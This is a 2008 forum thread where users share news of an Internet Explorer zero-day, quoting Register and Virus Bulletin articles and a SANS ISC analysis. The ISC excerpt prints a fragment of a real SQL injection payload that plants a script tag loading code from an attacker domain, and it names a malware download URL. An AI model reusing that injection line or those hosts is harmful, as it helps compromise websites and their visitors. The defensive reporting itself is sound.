Windows vulnerability reported

[RedRock]

For my windows using friends, forwarded to me by a big linux supporter:

This .... should be of interest to offices using Microsoft Internet Explorer.

There is a recent not-quite-day-zero vulnerability in Windows via Internet Explorer that will allow compromise of your machine simply by visiting an infected web site -- you don't have to download anything, push a button, nada. Just go to the site and you are screwed if you are running Windows.

Microsoft has gone so far as to provide an out-of-cycle patch. Fix your boxes (or switch to a real operating system like Linux/Solaris/BSD/MacOS).

For a description of the vulnerability, see:

www.theregister.co.uk/2008/12/09/zero_day_ie_flaw_exploited/
isc.sans.org/diary.html?storyid=5458

This discusses some other very recent vulnerabilities:

www.theregister.co.uk/2008/12/10/ms_patch_tuesday_december/

For the patch, see:

www.virusbtn.com/news/2008/12_11a.xml

If you are running Windoze, you should fix this.


Merry Christmas!

[Death's Shadow]

That is why we run a good AV/firewall.


Thanks for the info but I do not recognize any of those sites, and clicking on any of them could be a viral link itself. Sounds like some of the scam emails that circulate that try to get you to click on them.

[RedRock]

Dec 24, 2008 17:22:51 GMT -5 Death's Shadow said:

Thanks for the info but I do not recognize any of those sites, and clicking on any of them could be a viral link itself. Sounds like some of the scam emails that circulate that try to get you to click on them.

It's important to know your source. The forensic pathologist and ex-military doc who provided the info does image and pattern recognition software for injury photographs, and I've known him personally for 20 years.

However, since I have one of the real OS's, I can go to those links fearlessly, so here you go (embedded links are on the real pages, however):

www.theregister.co.uk/2008/12/09/zero_day_ie_flaw_exploited/

In-the-wild attacks find hole in (fully-patched) IE 7
Hardened browser pwned
By Dan Goodin in San Francisco

Posted in Security, 9th December 2008 18:17 GMT

Updated Security researchers are reporting in-the-wild attacks targeting a previously unknown vulnerability in fully patched versions of Microsoft's Internet Explorer browser. They surfaced on the same day that Microsoft released its biggest batch of security patches in five years.

Internet users located in China report infections that result when using IE 7 to browse booby-trapped websites. Researchers from McAfee investigated the matter and found the exploits successfully target the Microsoft browser on both Windows XP Service Pack 3 and Vista SP 1.

The exploits contain shellcode that installs the Downloader-AZN, a well-known trojan that hijacks a PC's configuration settings and downloads additional pieces of malware. Anti-virus software from McAfee, and presumably other companies, detects the trojan - though at the time of writing, it appeared they didn't yet detect the zero-day exploit itself.

The attacks target a flaw in the way IE handles certain types of data that use the extensible markup language, or XML, format. The bug references already freed memory in the mshtml.dll file. According to IDG News, exploits work about one in three times, and only after a victim has visited a website that serves a malicious piece of javascript.

Microsoft researchers are looking in to the reports, a company spokesman said Tuesday morning. Some eight hours later, the company had not yet issued an update.

The reports came just hours ahead of Patch Tuesday, Microsoft's monthly release of security updates. The patches included a cumulative update for IE that fixed four flaws that were rated critical because they could be used to remotely install malware with little or no action required of the user. Unfortunately, the miscreants are exploiting a separate security hole in IE, so the updates do nothing to protect users against the attacks.

In all, the Microsoft patch batch fixed 28 vulnerabilities, 23 of which carried the critical rating. Other Microsoft products that were updated included the Windows operating system, Office and Windows Media Player.

McAfee's report is here. ®

isc.sans.org/diary.html?storyid=5458

0-day exploit for Internet Explorer in the wild
Published: 2008-12-10,
Last Updated: 2008-12-11 09:50:54 UTC
by Bojan Zdrnja (Version: 3)
2 comment(s)
UPDATE 2:
Here are couple of updates regarding the latest 0-day.
As noted in Microsoft's advisory, Windows Server 2008 and Vista (both SP0 and SP1) are affected as well. The exploit for Windows Vista is publicly available now as well, but most malicious web sites still use the exploit I analyzed yesterday, so they are attacking only Windows XP and Windows 2003 machines.

It also appears that more attackers are now using this – we received log files showing that attackers using SQL injection are now. The SQL Injection attacks are similar to those we've described multiple times before (see isc.sans.org/diary.html?storyid=4565, for example). The important part includes the target URL that is injected:

…
rtrim(convert(varchar(4000),['+@c+']))+''<script src=http://17gamo [dot] com/1.js></script>''')FETCH NEXT FROM
…

This domain is not listed by Shadowserver yet. The 1.js script on the domain links to multiple other HTML documents of which one is called ie7.htm. You guessed it, it contains the latest 0-day exploit for Internet Explorer.

If executed successfully, the script will download the binary from [dot] steoo [dot] com/admin/win.exe. This is a game password stealer which has sporadic detection (http://www.virustotal.com/analisis/244ae03fed5b32d999c50b614fddde6a) – there are some big names still missing it.

In any case, the attackers are picking this quickly so make sure that you are following recommendations from Microsoft's advisory which will help reduce exposure or, if you can, use an alternative browser until this has been fixed.

--
Bojan


Update: Microsoft published a bulletin regarding this issue. See www.microsoft.com/technet/security/advisory/961051.mspx . In addition, shadowserver.org published a list of infected sites. Note that this list may not be complete. The best mitigating action from the bulletin is probably to enable DEP for Internet Explorer 7.[JBU]

As reported by some other researchers, there is a 0-day exploit for Internet Explorer circulating in the wild. At this point in time it does not appear to be wildly used, but as the code is publicly available we can expect that this will happen very soon.

This is a brand new exploit that is *not* patched with MS08-073 that was released yesterday. I can confirm that the exploit works in a fully patched Windows XP machine.

The exploit is a typical heap overflow that appears to be exploiting something in the XML parser. After setting up the heap (spraying it – allocating 159 arrays containing the shell code) the exploit checks if couple of things are satisfied before continuing:
The user has to be running Internet Explorer
The version of Internet Explorer has to be 7
The operating system has to be Windows XP or Windows 2003


If these things are satisfied, the exploit creates an XML tag as shown above. What is also interesting, and can be seen in the code above is that it waits 6 seconds before executing the code – this was probably added to thwart automatic crawlers by anti-virus vendors.

We have not confirmed yet if other versions are affected (Internet Explorer 6 or Internet Explorer 7 on Microsoft Windows Vista).

How to mitigate? This is a difficult question as we have not analyzed this completely yet. If you use an alternative browser you are not affected. When we get more information we will update the diary.

--
Bojan
Keywords: 0day Internet Explorer
2 comment(s)
previousnext
Comments
Just a little reminder to those that use IE7 daily; please remember to upgrade / patch your \"backup browser\" before you start using it!
posted by dotBATman, Thu Dec 11 2008, 11:40
For those of you that use Websense at the enterprise level, I suggest adding the list of domains and harness it to protect your network.
posted by DemiGuru, Thu Dec 11 2008, 15:38

www.theregister.co.uk/2008/12/10/ms_patch_tuesday_december/
Bumper MS patch batch spells client-side misery

IE still vulnerable after bombardment
By John Leyden

Posted in Enterprise Security, 10th December 2008 11:48 GMT
VMware whitepaper - The business case for Virtualization
Microsoft issued eight updates on Tuesday - two more than expected - as part of its Patch Tuesday update cycle.

Redmond classifies six of the octet as critical, while independent security watchers reckon they all make the highest security grade. Worst of the bunch is an update for ActiveX controls that affects Visual Basic 6.0's runtime (MS08-070.

The buffer overflow risk affects Visual Studio, Foxpro, Frontpage and MS Project, along with third party apps that make use of the affected component. Worse still exploit code has been doing the rounds since April.

There's also a cumulative fix for Internet Explorer (MS08-073). But this fails to address an unpatched vulnerability that's already being used to mount drive-by download attacks, albeit on a limited basis. Other critical fixes cover flaws in Microsoft Office, Outlook, Windows Media Player and Windows Explorer.

Two bulletins - rated as important by Microsoft but critical by the SANS Institute's Internet Storm Centre (ISC) - tackle problems involving SharePoint Server and a separate bug involving Windows Media Player.

The updates collectively address 28 vulnerabilities. Microsoft summary can be found here, while the far more readable ISC "Black Tuesday" overview can be found here.

"The Microsoft elves have been busy and delivered everyone plenty of work to do this holiday season," said Andrew Storms, director of security at patching specialists nCircle. "All but one of the bulletins affect client-side applications and include all the usual suspects: IE, Office, ActiveX and GDI.

"Given the number of client side bugs with Microsoft products just patched, everyone should expect the attackers to celebrate the holiday season in their attack strategies."

Patching of systems will require systems updates, but needs to be carried out regardless of the potential inconvenience because of the heightened risk of phishing or malware attacks against unprotected systems, Andrew Clarke, senior vice president at security tools firm Lumension warned.

"Four critical updates (two involving Windows and two Microsoft Word and Excel) affecting four key pieces of software and major applications used within the enterprise, will require reboots to their systems and servers, adding a degree of complexity and disruption to network productivity," Clarke said.

"While it may be tempting to avoid restarting servers and systems especially during this busy time of year, it is imperative that all IT professionals pay particular attention to the critical updates and patch as quickly as business conditions permit." ®

Related Stories:
MS (finally) confirms unpatched SQL Server flaw (23 December 2008)
IE zero day bites broader group of users (12 December 2008)
Security pros groan as zero-day hits Microsoft's SQL Server (11 December 2008)
Chinese researchers inadvertently release IE7 exploit code (11 December 2008)
Updated In-the-wild attacks find hole in (fully-patched) IE 7 (9 December 2008)
MS lines up six critical fixes for Tuesday (5 December 2008)
MS kills off OneCare to introduce free security software (19 November 2008)
MS explains 7-year patch delay (17 November 2008)
MS patch Tuesday includes fix for seven-year old itch (12 November 2008)
Updated Microsoft rushes out emergency Windows security fix (23 October 2008)
MS roll out exploit prediction with Patch Tuesday (14 October 2008)
Zero day Word flaw exploited by Trojan (9 July 2008)

www.virusbtn.com/news/2008/12_11a.xml

Patch Tuesday released closely followed by emergency update
Bumper crop of patches plus further fix leave known holes open.

This month's 'Patch Tuesday' security bulletin from Microsoft contained eight separate updates, two more than previously announced, covering a total of 28 vulnerabilities. Six of the updates were labelled 'critical', although some sources rate all equally high and find the flaws covered susceptible to allowing unauthorised remote access. A further critical update has been released subsequently as an emergency alert, while several know flaws in Microsoft core software remain unpatched and are believed to have been subjected to attacks in the wild.


The initial release issued on Tuesday contained fixes for Word, Excel, Sharepoint, Internet Explorer, Visual Basic, Windows Search, Windows media components, and the GDI subsystem, while a second set of problems with GDI, first addressed in September as MS08-052, was covered by the out-of-cycle release issued the following day. Known vulnerabilities in Internet Explorer and WordPad remain a viable vector for malware authors, who are known to have taken advantage of them with exploits.

The initial bulletin is at Microsoft here, with the later update here and a further summary of the releases at SANS here. Details of the known remaining flaws are at Microsoft here, at Trend Micro here and at SANS here, while comment on the fixes, and the remaining issues, is at The Register here, here and here.

11 December 2008

[Death's Shadow]

Thanks for the info.. I do not use IE though. I use Flock. And I do not use McCafee. I am not arrogant enough to say I will never have a problem. But I am as secure as I can be and do not fear an attack.

Mac's can be hacked also.. but the problem is,, why would anyone want too? LOL

[RedRock]

"Arrogant" eh ?? Don't be hatin!

[Garp {eng}]

Errr not wanting to become a target but the vunrabilty is in IE 6 and 7 and NOT the whole windows system, also you can protect yourself by running a good AV that scans while surfing or use another browser? lets not panic and turn a problem into a "slag off" match :-) leave that to the politics game :-) :-) (notice the smilies)

[Death's Shadow]

LOL RR and I just like tossing crap at each other about mac VS PC.. just a fun pass time.. No heat in my jabs at him at all.